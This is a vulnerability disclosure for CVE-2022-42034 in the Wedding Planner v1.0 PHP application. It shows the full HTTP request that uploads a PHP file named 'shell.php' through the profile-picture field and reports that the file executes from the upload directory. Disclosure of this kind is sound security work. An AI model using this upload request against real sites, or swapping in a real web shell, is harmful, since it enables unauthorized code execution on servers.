CVE-2022-42034: bug_report/RCE-1.md at main · debug601/bug_report

Permalink

Wedding Planner v1.0 by pushpam02 has arbitrary code execution (RCE)

BUG_Author：李趴菜

vendor: https://www.sourcecodester.com/php/15375/wedding-planner-project-php-free-download.html

Vulnerability url: http://ip/Wedding-Management-PHP/admin/blog_events_edit.php?id=31

Loophole location：The editing function of “Liam moore” module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of “users_profile.php” file.

Click “Edit My Account” to save

Request package for file upload：

POST /Wedding-Management-PHP/admin/users_profile.php HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/Wedding-Management-PHP/admin/users_profile.php Cookie: PHPSESSID=ncd6h7doujvbbft46r0m7mbr6s Connection: close Content-Type: multipart/form-data; boundary=---------------------------11146289715390 Content-Length: 1065 -----------------------------11146289715390 Content-Disposition: form-data; name="profile_picture"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------11146289715390 Content-Disposition: form-data; name="firstname" Liam -----------------------------11146289715390 Content-Disposition: form-data; name="lastname" Moore -----------------------------11146289715390 Content-Disposition: form-data; name="email" [email protected] -----------------------------11146289715390 Content-Disposition: form-data; name="username" adminliam -----------------------------11146289715390 Content-Disposition: form-data; name="gender" m -----------------------------11146289715390 Content-Disposition: form-data; name="address" Grand Meadows -----------------------------11146289715390 Content-Disposition: form-data; name="designation" 0 -----------------------------11146289715390 Content-Disposition: form-data; name="submit" -----------------------------11146289715390–

The files will be uploaded to this directory \Wedding-Management-PHP\admin\upload\users

We visited the directory of the file in the browser and found that the code had been executed